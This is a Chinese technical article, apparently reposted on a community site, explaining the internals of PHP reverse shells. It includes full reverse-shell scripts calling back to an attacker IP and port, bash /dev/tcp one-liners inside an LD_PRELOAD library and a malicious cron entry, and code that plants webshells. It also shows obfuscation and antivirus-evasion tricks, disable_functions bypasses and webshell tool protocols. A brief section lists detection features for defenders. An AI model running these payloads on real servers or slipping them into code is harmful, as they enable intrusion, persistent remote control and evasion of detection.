PHP 反弹 Shell 的底层原理与工程实现

0x00 前言
在 Web 安全领域,PHP 作为服务端最广泛使用的脚本语言之一,频繁出现在攻击链的关键节点。当攻击者通过文件上传、反序列化、模板注入、变量覆盖等漏洞获得 PHP 代码执行能力后,面临的核心问题始终是:
如何将受限的、一次性的代码执行,转化为稳定、持久且具备完整交互能力的远程 Shell?
本文将从操作系统原理出发,深入分析 PHP 反弹 Shell 的技术体系,涵盖进程模型、文件描述符、伪终端、IO 转发等底层机制,并结合具体的代码实现和对抗技术,构建完整的知识框架。
0x01 理论基石:理解操作系统层面的 Shell
在深入 PHP 实现之前,必须先理解一个完整的交互式 Shell 在操作系统层面究竟由哪些组件构成。
1.1 进程模型:fork 与 exec 的协作
Linux 中,所有用户态进程都源于 fork() 系统调用。fork() 复制当前进程,创建一个几乎完全相同的子进程:
#include <unistd.h>
pid_t pid = fork();
if (pid == 0) {
// 子进程
execl("/bin/bash", "bash", NULL);
} else {
// 父进程,pid 为子进程 PID
}
execve() 系列函数则用新的程序映像替换当前进程的代码段、数据段和堆栈:
关键理解:
fork()复制了文件描述符表,因此子进程继承了父进程打开的 Socket、文件、管道execve()不改变 PID,但完全替换了进程的地址空间- 子进程的 PPID(父进程 ID)仍然是父进程的 PID,父进程可以通过
wait()回收子进程
这意味着:PHP 进程可以通过 fork() 创建子进程,再通过 execve() 将其替换为 Shell,而 PHP 持有的 Socket 文件描述符在子进程中仍然有效——这就是 PHP 反弹 Shell 最底层的可行性基础。
1.2 文件描述符与标准流
Unix/Linux 遵循"一切皆文件"的设计哲学。每个进程启动时,内核自动分配三个标准的文件描述符:
文件描述符 0 → 标准输入(stdin)
文件描述符 1 → 标准输出(stdout)
文件描述符 2 → 标准错误(stderr)
当 PHP 通过 fsockopen() 创建一个 TCP 连接时,内核分配一个新的文件描述符(例如 fd=5)。dup2() 系统调用可以复制文件描述符,并强制覆盖标准流:
dup2(sock_fd, 0); // 将 stdin 重定向到 Socket
dup2(sock_fd, 1); // 将 stdout 重定向到 Socket
dup2(sock_fd, 2); // 将 stderr 重定向到 Socket
这就是所有反弹 Shell 的核心原理:
1.3 交互式 Shell 的必要条件
一个 Shell 要支持交互式操作,需要满足三个条件:
条件一:标准输入是终端(TTY)
Bash 通过 isatty(STDIN_FILENO) 判断是否运行在终端中。如果是,则:
- 显示提示符(
$或#) - 启用作业控制(Ctrl+Z 挂起、
fg/bg) - 处理信号(SIGINT、SIGTSTP)
- 启用命令历史
如果不是终端,Bash 以非交互模式运行,行为受到限制。
条件二:进程组和会话
Shell 需要成为进程组组长和会话首进程,才能管理子进程(如 vim、top)的终端控制。
条件三:终端信号处理
交互式终端需要处理:
SIGINT(Ctrl+C):中断前台进程SIGTSTP(Ctrl+Z):挂起前台进程SIGQUIT(Ctrl+\):退出前台进程SIGWINCH:窗口大小变化
这些信号由终端驱动产生,通过进程组广播。
这就是为什么简单的 system('/bin/sh') 无法获得交互式 Shell——它缺失了终端环境。需要 PTY 来模拟。
1.4 终端、TTY 与 PTY 的本质
物理终端时代:
键盘 → UART 串口 → TTY 驱动 → Shell
显示器 ← UART 串口 ← TTY 驱动 ← Shell
TTY(Teletype)驱动负责:
- 字符处理(回显、行编辑、控制字符转义)
- 信号生成(根据特殊字符发送信号)
- 线路规程(line discipline)
虚拟终端时代:
PTY(Pseudo Terminal,伪终端)由一对设备组成:
- 主端(Master):在用户态进程(如 SSH 服务端)中,负责读取/写入
- 从端(Slave):在内核中,表现为一个标准的 TTY 设备,Shell 可以像操作真实终端一样操作它
关键区别:
| 特征 | 普通管道(Pipe) | PTY |
|---|---|---|
| 支持信号传递 | ❌ | ✅ |
| 支持终端控制字符 | ❌ | ✅ |
| 支持窗口大小调整 | ❌ | ✅ |
被 isatty() 识别 |
❌ | ✅ |
| 作业控制 | ❌ | ✅ |
因此,PTY 是实现交互式 Shell 的关键基础设施。在 PHP 中,PTY 的创建由 posix_openpt() 和相关函数实现。
0x02 PHP 进程控制 API 的底层实现
理解 PHP 的进程控制函数,实际上是在理解 libc 的封装。
2.1 system() / exec() / shell_exec() 的演进
| PHP 函数 | 底层系统调用 | 是否创建子进程 | 是否捕获输出 |
|---|---|---|---|
system() |
fork + exec + wait |
✅ | 直接输出到 stdout |
exec() |
fork + exec + wait |
✅ | 返回最后一行 |
shell_exec() |
fork + exec + wait + 管道 |
✅ | 返回全部输出 |
passthru() |
fork + exec + wait |
✅ | 直接输出到 stdout(二进制) |
popen() |
fork + exec + 单向管道 |
✅ | 返回文件指针 |
proc_open() |
fork + exec + 多管道 |
✅ | 精细控制 stdin/stdout/stderr |
2.2 proc_open 的结构体设计
proc_open() 在 PHP 源码中的实现(简化):
// ext/standard/proc_open.c
PHP_FUNCTION(proc_open) {
char *command;
zval *descriptors;
zval *pipes = NULL;
// ...
// 解析描述符
// 创建管道
// fork()
// 子进程中重定向文件描述符并执行 execve()
// 父进程中返回管道资源
}
proc_open() 返回的进程句柄包含了:
$process = proc_open($cmd, $descriptors, $pipes);
// $process 是一个资源,包含子进程 PID、管道文件指针等
2.3 文件描述符传递的本质
为什么 proc_open() 的 $descriptors 可以接受任意 stream 资源?
PHP 的 stream 资源底层都有一个文件描述符(fd)。proc_open() 在 fork() 之后、execve() 之前,会调用 dup2() 将子进程的 stdin/stdout/stderr 重定向到这些文件描述符:
// 伪代码:子进程中的操作
dup2(fd_of_descriptors[0], 0); // stdin
dup2(fd_of_descriptors[1], 1); // stdout
dup2(fd_of_descriptors[2], 2); // stderr
这使得任何 PHP stream(文件、Socket、管道)都可以作为子进程的输入输出。
0x03 PHP Socket 编程的底层原理
3.1 BSD Socket 与 PHP Stream 的映射
PHP 的 Socket 函数是对 BSD Socket API 的封装:
| PHP 函数 | BSD Socket API | 说明 |
|---|---|---|
fsockopen() |
socket() + connect() |
创建 TCP/UDP 连接 |
stream_socket_server() |
socket() + bind() + listen() |
创建服务端 Socket |
stream_socket_accept() |
accept() |
接受连接 |
fread() / fwrite() |
recv() / send() |
读写数据 |
stream_select() |
select() / poll() |
IO 多路复用 |
fsockopen() 在 PHP 内部调用 POSIX socket() 创建 Socket,然后 connect() 建立连接,最后包装为 PHP stream 资源。
3.2 TCP 三次握手与 PHP 的关系
PHP 的 connect() 返回后,TCP 连接已经建立。此后通过 fwrite() 发送数据、fread() 接收数据。
3.3 Socket 的阻塞与非阻塞行为
默认情况下,PHP 的 Socket stream 是阻塞的:
$data = fread($sock, 1024); // 如果没有数据,阻塞等待
阻塞模式的问题:
- 如果远程端不发数据,
fread()会一直等待 - 如果 Shell 无输出,同样会阻塞
- 无法同时处理多个数据流向
非阻塞模式通过 stream_set_blocking($sock, false) 设置,配合 stream_select() 实现事件驱动:
stream_set_blocking($sock, false);
stream_set_blocking($pty, false);
while (true) {
$read = [$sock, $pty];
if (stream_select($read, $write, $except, null) > 0) {
// 有数据可读
}
}
stream_select() 对应 Linux 的 select() 系统调用,允许进程同时监控多个文件描述符的 IO 事件。
0x04 PHP 实现 PTY 的完整理论
4.1 PTY 在 Linux 内核中的实现
Linux 的 PTY 实现基于 Unix 98 标准:
// 创建 PTY
int master_fd = open("/dev/ptmx", O_RDWR);
// 授权从端
grantpt(master_fd);
// 解锁从端
unlockpt(master_fd);
// 获取从端路径
char *slave_path = ptsname(master_fd);
// 子进程打开从端
int slave_fd = open(slave_path, O_RDWR);
内核数据结构:
/dev/ptmx 是 PTY 主端的复用设备,每次 open() 创建一个新的 PTY 对。主端在用户态可见,从端在 /dev/pts/ 目录下。
4.2 posix_* 系列函数的理论机制
PHP 的 posix_openpt() 直接调用 libc 的同名函数,最终触发内核的 PTY 创建。
posix_grantpt() 修改从端设备的权限,使得子进程可以打开它。posix_unlockpt() 解锁从端,允许子进程真正使用。
4.3 PTY 中的数据流
有了 PTY 之后,数据流变为:
TTY 驱动在此过程中执行:
- 输入处理:行编辑、字符回显、特殊字符识别(Ctrl+C 发送 SIGINT)
- 输出处理:制表符展开、换行转换(LF→CRLF)
- 信号转发:将键盘生成的信号转发给前台进程组
0x05 工程实现:完整的 PHP 反弹 Shell
5.1 基础实现:Socket + proc_open
这是最稳定的纯 PHP 实现,不依赖任何外部工具:
<?php
// 配置
$ip = '192.168.1.100';
$port = 4444;
// 1. 建立 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
die("Socket connect failed: $errstr ($errno)\n");
}
// 2. 启动 Shell,将 stdin/stdout/stderr 重定向到 Socket
$descriptors = [
0 => $sock, // stdin
1 => $sock, // stdout
2 => $sock // stderr
];
$process = proc_open('/bin/sh', $descriptors, $pipes);
// 3. 等待子进程结束
while (proc_get_status($process)['running']) {
usleep(100000); // 100ms
}
proc_close($process);
?>
理论分析:
fsockopen()创建 TCP 连接,获得 stream 资源proc_open()创建子进程,将所有标准流重定向到 Socket- 子进程执行
/bin/sh,所有输入输出通过 Socket 传输
局限性:
/bin/sh是非交互模式(isatty()返回 false)- 无提示符,无作业控制
- 无法运行
vim、top、ssh等需要终端的程序 - 信号处理不完整
5.2 中级实现:Socket + PTY + proc_open
使用 PTY 获得完整的交互式终端:
<?php
$ip = '192.168.1.100';
$port = 4444;
// 1. 创建 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) die("Connect failed\n");
// 2. 分配 PTY
$pty = posix_openpt();
if (!$pty) die("posix_openpt failed\n");
posix_grantpt($pty); // 授权从端
posix_unlockpt($pty); // 解锁从端
$slave_path = posix_ptsname($pty);
// 3. 打开从端作为子进程的终端
$slave = fopen($slave_path, 'r+');
if (!$slave) die("Open slave failed\n");
// 4. 启动交互式 Shell
$descriptors = [
0 => $slave,
1 => $slave,
2 => $slave
];
$process = proc_open(
'/bin/bash -i',
$descriptors,
$pipes,
null, // 工作目录
[] // 环境变量
);
if (!is_resource($process)) die("proc_open failed\n");
// 5. 设置非阻塞模式
stream_set_blocking($sock, false);
stream_set_blocking($pty, false);
// 6. 事件驱动 IO 转发
while (true) {
$read = [$sock, $pty];
$write = [];
$except = [];
// 监控可读事件,超时为 1 秒
if (stream_select($read, $write, $except, 1) === false) {
break;
}
// 处理 Socket 输入:远程端发来命令
if (in_array($sock, $read)) {
$data = fread($sock, 4096);
if ($data === false || $data === '') break;
fwrite($pty, $data);
fflush($pty);
}
// 处理 PTY 输出:Shell 产生输出
if (in_array($pty, $read)) {
$data = fread($pty, 4096);
if ($data === false || $data === '') break;
fwrite($sock, $data);
fflush($sock);
}
// 检查子进程是否还在运行
$status = proc_get_status($process);
if (!$status['running']) break;
}
// 清理资源
proc_close($process);
fclose($slave);
fclose($sock);
?>
关键改进:
| 组件 | 作用 |
|---|---|
posix_openpt() |
创建 PTY 主从设备对 |
posix_grantpt() |
设置从端权限,允许子进程打开 |
posix_unlockpt() |
解锁从端 |
posix_ptsname() |
获取从端设备路径 |
fopen($slave_path) |
打开从端,供子进程使用 |
stream_select() |
非阻塞 IO 多路复用 |
/bin/bash -i |
交互模式启动 |
5.3 高级实现:多会话管理与进程组
对于需要同时管理多个 Shell 的场景,需要使用进程组和会话管理:
<?php
// 在子进程中设置进程组
$sid = posix_setsid();
if ($sid < 0) die("setsid failed\n");
// 设置前台进程组
if (posix_tcgetpgrp($slave_fd) !== $sid) {
posix_tcsetpgrp($slave_fd, $sid);
}
// 忽略终端信号,防止 PHP 进程收到 SIGINT
pcntl_signal(SIGINT, SIG_IGN);
pcntl_signal(SIGTSTP, SIG_IGN);
pcntl_signal(SIGQUIT, SIG_IGN);
进程组管理器的架构:
0x06 IO 转发模型:从阻塞到事件驱动
6.1 阻塞 IO 模型
最简单的实现是顺序读写:
while (true) {
$cmd = fread($sock, 1024);
fwrite($pty, $cmd);
$out = fread($pty, 1024);
fwrite($sock, $out);
}
问题:
fread($sock)阻塞,如果远程端不发送数据,整个循环卡住- 如果 Shell 主动输出(如
ping的持续输出),需要等待用户输入才能读取 - 无法处理双向同时通信
6.2 非阻塞轮询模型
stream_set_blocking($sock, false);
stream_set_blocking($pty, false);
while (true) {
$data = fread($sock, 4096);
if ($data) fwrite($pty, $data);
$data = fread($pty, 4096);
if ($data) fwrite($sock, $data);
usleep(1000);
}
问题:
- CPU 空转,浪费资源
- 延迟不可控
6.3 IO 多路复用(select/poll/epoll)
while (true) {
$read = [$sock, $pty];
$write = [];
$except = [];
// 阻塞等待任一 fd 可读
$num = stream_select($read, $write, $except, null);
if ($num === false) break;
foreach ($read as $stream) {
$data = fread($stream, 4096);
if ($data === false || $data === '') break 2;
if ($stream === $sock) {
fwrite($pty, $data);
} else {
fwrite($sock, $data);
}
}
}
优势:
- 事件驱动,无 CPU 空转
- 及时响应
- 支持大量并发连接
理论对应:
| PHP 函数 | 系统调用 | 说明 |
|---|---|---|
stream_select() |
select() |
支持最多 1024 个 fd |
stream_select() 配合 stream_set_blocking() |
poll() |
无 fd 数量限制 |
swoole / reactphp |
epoll() |
高性能事件驱动 |
0x07 代码混淆与免杀技术理论
重要说明:本节从安全研究角度分析 WebShell 的混淆原理与检测对抗机制,旨在帮助安全人员理解攻击手法以提升防御能力。所有示例代码仅用于技术原理说明。
7.1 混淆的理论模型
混淆的本质是:
改变代码的语法表现形式,但不改变其语义逻辑。
形式化定义:给定程序 P,混淆变换 T 满足:
语义等价:∀ input,T(P)(input) = P(input)
语法差异:T(P) 与 P 在语法结构上存在显著差异
常见的混淆维度:
7.2 字符串编码混淆原理
Base64 编码:
将原始代码编码为 Base64 字符串,运行时解码执行。
<?php
// 原始代码
// $sock = fsockopen('192.168.1.100', 4444);
// 混淆后
$code = 'JHNvY2sgPSBmc29ja29wZW4oJzE5Mi4xNjguMS4xMDAnLCA0NDQ0KTs=';
eval(base64_decode($code));
?>
多层编码:
<?php
$code = 'eJxLtDK0qs60MrQyMDIxsTSzMDcxNzUxSYSIloB5RiYKWm4KZkbmRoYGSloK2kC+QWJeaWpKampWqkJ8UmlyRn5OKgCgFBJc';
eval(gzuncompress(base64_decode($code)));
?>
理论分析:
| 检测方式 | 原理 | 对抗方法 |
|---|---|---|
| 静态字符串匹配 | 搜索 eval( + base64_decode( |
使用自定义解码函数 |
| 熵值分析 | 编码字符串熵值高 | 加入随机垃圾字符降低熵 |
| AST 特征 | 识别 eval 的调用模式 |
使用动态函数名,如 $func = 'eval'; $func(...); |
7.3 动态函数调用
PHP 支持通过变量名调用函数:
<?php
$func1 = 'fsock';
$func2 = 'open';
$socket_func = $func1 . $func2; // 'fsockopen'
$func3 = 'proc_';
$func4 = 'open';
$proc_func = $func3 . $func4; // 'proc_open'
$sock = $socket_func($ip, $port);
$proc = $proc_func('/bin/sh', [$sock, $sock, $sock], $pipes);
?>
原理:PHP 引擎在执行函数调用时,先解析变量值,然后将值作为函数名在函数表中查找。
7.4 控制流混淆
插入无意义的分支和循环,干扰静态分析:
<?php
// 干扰代码
$dummy = 0;
for ($i = 0; $i < 100; $i++) {
if ($i % 2 == 0) {
$dummy += $i;
} else {
$dummy -= $i;
}
}
// 实际逻辑
if ($dummy > -1000) { // 总是成立
$sock = fsockopen('192.168.1.100', 4444);
// ...
}
?>
7.5 动态代码加载
将载荷以加密形式存储在外部资源中:
<?php
// 从图片 EXIF 中提取载荷
$img = imagecreatefromjpeg('avatar.jpg');
$payload = exif_read_data($img)['UserComment'];
eval($payload);
// 从 HTTP Header 中获取
$payload = base64_decode($_SERVER['HTTP_X_PAYLOAD']);
eval($payload);
// 从 Cookie 中获取
$payload = base64_decode($_COOKIE['session']);
eval($payload);
?>
7.6 冰蝎的混淆架构分析
冰蝎(Behinder)的免杀设计体现了系统化的混淆思想:
第一层:通信加密
AES-128-ECB 加密 + Base64 编码
密钥动态协商(基于时间戳 + 固定盐)
第二层:代码分离
静态文件:仅包含解密 + 类加载逻辑
功能代码:以加密字节码形式传输
第三层:动态类加载
// 简化版的动态加载逻辑
$payload = base64_decode($_POST['data']);
$decrypted = openssl_decrypt($payload, 'AES-128-ECB', $key);
$obj = unserialize($decrypted);
$obj->execute();
第四层:反射调用
// 使用反射调用任意方法
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true);
$method->invoke($instance, $params);
0x08 disable_functions 绕过原理
8.1 限制的本质
disable_functions 是 PHP 配置指令,用于禁用指定的函数:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
其实现机制:PHP 在初始化函数表时,检查 disable_functions 列表,如果函数名在列表中,则该函数的入口指针被设置为 NULL。
// PHP 源码中的逻辑(简化)
if (zend_hash_exists(&disabled_functions, function_name)) {
function->handler = NULL; // 调用时直接报错
}
这意味着:
disable_functions只影响 PHP 层面的函数调用- 不限制系统层面的能力(如文件写入、网络连接)
- 不限制通过其他间接方式执行命令
8.2 LD_PRELOAD 绕过理论
LD_PRELOAD 是 Linux 动态链接器的环境变量,指定优先加载的共享库。
绕过原理:
实现示例:
// evil.c - 编译为共享库
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int sendmail(const char *to, const char *from,
const char *subject, const char *body) {
// 在 sendmail 被调用时执行命令
system("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");
return 0;
}
// PHP 触发代码
putenv("LD_PRELOAD=/tmp/evil.so");
mail("", "", "", "");
8.3 利用文件操作函数
如果禁用了所有命令执行函数,但仍然可以读写文件:
<?php
// 写入 webshell
file_put_contents('/var/www/html/cmd.php', '<?php system($_GET["c"]); ?>');
// 或写入 .htaccess 启用 AutoPrepend
file_put_contents('/var/www/html/.htaccess',
'php_value auto_prepend_file /tmp/evil.php');
// 或写入 cron 任务
file_put_contents('/etc/cron.d/evil',
'* * * * * www-data /bin/bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
?>
8.4 PHP-FPM 绕过
如果可以通过本地端口访问 PHP-FPM:
<?php
// 构造 FastCGI 请求,执行任意命令
$sock = fsockopen('127.0.0.1', 9000);
// 发送 FastCGI 请求
// 利用环境变量 PHP_ADMIN_VALUE 或 PHP_VALUE 覆盖 disable_functions
?>
0x09 主流工具原理对比
9.1 技术架构对比
| 维度 | Weevely | 冰蝎(Behinder) | 哥斯拉(Godzilla) | 蚁剑(AntSword) |
|---|---|---|---|---|
| 通信协议 | HTTP + Base64 | HTTP + AES | HTTP + AES/RSA | HTTP + 自定义 |
| 密钥协商 | 固定密钥 | 动态协商(RSA/AES) | 动态协商 | 固定/动态 |
| 流量加密 | 弱(Base64) | AES-128-ECB | AES-256-CBC | XOR/Base64/AES |
| 混淆技术 | 低 | 高 | 高 | 中 |
| 扩展能力 | 模块 | 插件 | 插件 | 插件 |
| 会话管理 | 无 | 有 | 有 | 有 |
9.2 Weevely 通信协议细节
请求格式:
POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
p=Q29tbWFuZAo%3D&
响应格式:
HTTP/1.1 200 OK
Content-Type: text/plain
UmVzdWx0Cg%3D%3D
Agent 核心逻辑:
<?php
$p = $_POST['p'];
if ($p) {
$cmd = base64_decode(str_replace(' ', '+', $p));
$result = `$cmd`;
echo base64_encode($result);
}
?>
检测特征:
- 参数名固定为
p - 使用
base64_decode - 使用反引号或
system()执行命令
9.3 冰蝎通信协议细节
首次连接(获取密钥):
GET /shell.php?pass=abc HTTP/1.1
响应:
e45e329feb5d925b // 16 字节密钥,MD5(uniqid()) 的前 16 位
后续请求:
POST /shell.php?pass=abc HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 128
[AES 加密的载荷 + 16 字节随机前缀]
服务端逻辑(简化):
<?php
session_start();
$key = $_SESSION['k'] ?? md5(uniqid());
$_SESSION['k'] = $key;
$data = file_get_contents('php://input');
$decrypted = openssl_decrypt(
substr($data, 16), // 去掉 16 字节随机前缀
'AES-128-ECB',
$key
);
eval($decrypted);
?>
检测特征:
- 请求头
Content-Type: application/octet-stream - 请求 Body 长度固定为 16 的倍数
- 响应 Body 同样为 16 的倍数
- User-Agent 特定版本特征
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)